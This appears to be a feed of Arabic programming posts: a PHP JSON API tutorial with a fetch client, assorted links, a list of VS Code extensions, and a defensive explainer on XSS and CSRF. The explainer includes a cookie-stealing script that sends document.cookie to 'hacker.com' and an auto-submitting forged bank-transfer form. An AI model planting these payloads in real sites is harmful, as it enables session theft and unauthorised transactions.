السلام عليكم ورحمة الله وبركاته

في عالم الويب وتحديداً تطبيقات ال Backend لدينا نوعان تقريباً من التطبيقات ، وهي التطبيقات العادية التي ترد بصفحات html والتطبيقات التي ترد ببيانات فقط والتي تسمى api .
يتميز النوع الثاني بانه اكثر احترافية لان استعمالهم لا يقتصر على صفحات الانترنت التى في المتصفح فقط ، بل يمتد استعمالهم الى اغلب انواع التطبيقات التي تعمل كواجهة للمستخدم مثل تطبيقات الاندرويد او تطبيقات سطح المكتب .

دعونا اليوم نرى كيف يمكن عمل api بسيط باستخدام php ، لذا جهز محررك وابدا معي الخطوات البسيطة التالية :
1 - انشئ مشروع جديد (مجلد) باسم api (او اي اسم) .
2 - انشئ ملف بداخله باسم index.php وافتح المشروع على محررك .
3 - اكتب الكود التالي في الملف .

<?php 

header("Content-Type: application/json");
// get data from database and make your logic
$array = array(
    "name" => "Ali",
    "age" => 20
);

echo json_encode($array);

4 - شغل المشروع
تم ، الان اصبح لديك api بسيط يعيد بيانات بصيغة json .

دعني اشرح الغريب في الكود ، اولاً والزامياً تحديد نوع الرد داخل دالة header وحددنا ان قيمة Content-Type هي application/json اي ان الرد عبارة عن json .
ثانياً بالسطر الاخير قمنا بطباعة البيانات لكن باستخدام دالة json_encode والتي تقوم بتحويل المصفوفة الى json .

الان السؤال الاهم ، كيف اجلب البيانات من هذا الapi ؟ والامر بسيط وبدون تعقيد انظر الكود التالي الذي يقوم بجلب البيانات من هذا الapi باعتبار ان الapi شعمل على localhost:8000 كالتالي :

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Test api</title>
</head>
<body>
    <div id="content">Click the button</div>
    <button onclick="getData()">Get Data</button>

    <script>
        async function getData(){
            const data = await fetch("http://localhost:8000/");
            const jsonData = await data.json();
            const div = document.getElementById("content");
            div.innerHTML = `Name is : ${jsonData['name']}<br>Age is ${jsonData['age']}`;
        }
    </script>
</body>
</html>

الصفحة السابقة تقوم بتنفيذ الدالة getData عند النقر على الزر ، والذي يقوم بارسال طلب الى رابط الapi ويجب ان تكون الدالة متزامنة async ، بعد ان ترسل الطلب يتم تحويل الرد الى مصفوفة بالسطر الذي يليه باستخدام الدالة data.json() ثم يتم طباعة النتائج .

ما سبق كان تطبيق api بسيط ، ان شاء الله سيكون لدينا تفصيل اكثر لاستعمال ال EndPoints بشكل اكثر تقدماً ، يمكنك رؤية احد المشاريع التي شاركت بها في عمل معمارية بدائية مشابهة للارافيل على Github .

مكونات مفتوحة المصدر جاهزة لاكثر من اطار عمل تسهل عليك حياتك .
رابط الموقع : https://flowbite.com

يمكنك تحميل الموقع من github على الرابط : https://github.com/themesberg

في عالم مفتوح المصدر وجدت منصة بنيت على انها تويتر (x حالياً) ولكنها لا مركزية .

لمحبي الخصوصية والمنصات التي لا تجمع البيانات
https://asemnajee.bsky.social

من المهم لكل مبرمج عربي ان لا يغفل عما يقدمه العرب من المحتوى القوي جداً ، اكادمية حسوب لها توثيق شامل لاشهر اطر العمل واللفات البرمجية باللفة العربية وبشكل رائع
شاهد موسوعة حسوب على الرابط التالي:
https://wiki.hsoub.com/

بسم الله الرحمن الرحيم والصلاة والسلام على اشرف المرسلين .

كيف يمكن للمهاجمين مهاجمة موقعي او مهاجمة مستخدمين موقعي ؟
في عالم تطوير الويب يجب ان تكون حذر حيال امكانية المهاجمين انتحال شخصية مستخدميك او سرقة بياناتهم خصوصاً ان كان هذا المستخدم الذي تم انتحاله هو مشرف في الموقع .
الامر ليس فكرة عابرة او خيال علمي ، امكانية انتحال مستخدمي موقعك سهلة ان كنت لا تعرف كيف تحميه ، وهنا نذكر نوعان من الهجمات XSS, CSRF .

اولاً هجمة XSS وهي عملية يتم فيها الوصول الى بيانات المستخدم التي تم تخزينها في المتصفح مثل الكعكات وارسالها الى المهاجم ، ولكن كيف ذلك؟
ابسط مثال انك تسمح للمستخدمين بكتابة التعليقات في الموقع ، ولم تقم بالحماية بشكل مطلوب وقام احد المستخدمين "المهاجم" بكتابة تعليق وقام بعمل فيه كود JS يصل الى الكعكات ويرسلها الى المهاجم مثل

منشور رائع
<script>
fetch('hacker.com' + document.cookie);
</script>

اتدري ما سيحصل اذا قام المشرف بشكل عفوي بقراءة تعليقات المستخدمين ؟ سيتم ارسال الكعكات الى المهاجم ، وانت بطريقة ما قد تخزن بيانات حساسة في الكعكات ، ولا يقتصر الامر على الكعكات وانما جميع البيانات التي يمكن ان تصل اليها JS مثل ال LocalStorage وغيرها ، واشهر خطا هو محاولتك لتخزين ال JWT في التخزين المحلي localstorage ...

ثانياً CSRF وهذه الثغرة لا تقل خطورة بل تعتبر اكثر خطورة ، حيث يقوم المهاجم بارسال طلبات من متصفح المستخدم الى مواقع اخرى بدون علم المستخدم . اتعلم ما المشكلة؟ تخيل انك سجلت الدخول الى بنك عبر متصفحك ، بالتأكيد البنك امن موقعه بالكامل ولن يتم مهاجمتك بالثغرة السابقة XSS ولكنك زرت موقع اخر لا علاقة له بالبنك ، لكن هذا الموقع فيه الكود التالي

<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="hacker">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit()</script>

وبما انك مسجل دخول الى البنك ، فيقوم المتصفح بارسال الكعكات تلقائياً للبنك ، وهنا يمسي غنياً ويصبح فقيراً واخر يمسي فقيراً ويصبح غنياً .

انضم إلى تطبيق متبرع — تطبيق مجاني لإيجاد متبرعي الدم في اليمن.
https://www.motabar3.com/?ref=a7d8491c-a035-4941-a036-2b99281ce653

كلام سديد.. في مسألة التعرف على النفس.

الذكاء الاصطناعي مش بس بيوفر وقتك، ده بيضمن إنك متتنسيش في سوق مبيعرفش الرحمة؛ دي صورة فيها أقوى 100 أداة تختصر يومك في دقيقة.. شير واحفظها لأنك هتحتاجها! 🧵🤫🚀

‏صورة فيها الفرق بين HTTP و HTTPS

‏لو يومك بيعدي داخل VS Code، فالإضافات اللي جاية دي مش مجرد تحسين، دي فرق بين شغل عادي وشغل احترافي.

‏أقوى 10 إضافات VS Code:

‏1 - Prettier
‏تنسيق تلقائي للكود يخليك تركز في المنطق بدل الشكل.

‏2 - Live Server
‏عرض حي للتغييرات مباشرة في المتصفح عند الحفظ.

‏3 - ESLint
‏يرصد الأخطاء مبكرًا ويقترح الحلول قبل التشغيل.

‏4 - Thunder Client
‏اختبار الـ API من داخل VS Code، من غير ما تفتح أدوات خارجية.

‏5 - Bracket Pair Colorizer
‏ألوان مختلفة للأقواس عشان قراءة الكود تكون أوضح.

‏6 - Auto Rename Tag
‏أي تعديل في تاج HTML ينطبق تلقائيًا على التاج المقابل.

‏7 - GitLens
‏يوضح تاريخ التعديل ومين كتب كل جزء من الكود.

‏8 - Path Intellisense
‏اقتراح أسماء الملفات والمسارات بمجرد كتابة أول حرف.

‏9 - Code Spell Checker
‏مراجعة الكلمات جوه الأكواد والتعليقات لمنع الأخطاء الإملائية.

‏10- AyaCode
‏يعرض آيات قرآنية أثناء العمل تساعد على التركيز والهدوء.

صورة تهمك: أنواع قواعد البيانات باختصار

‏مرجع سريع يغطي أهم أساسيات بايثون للمبتدئين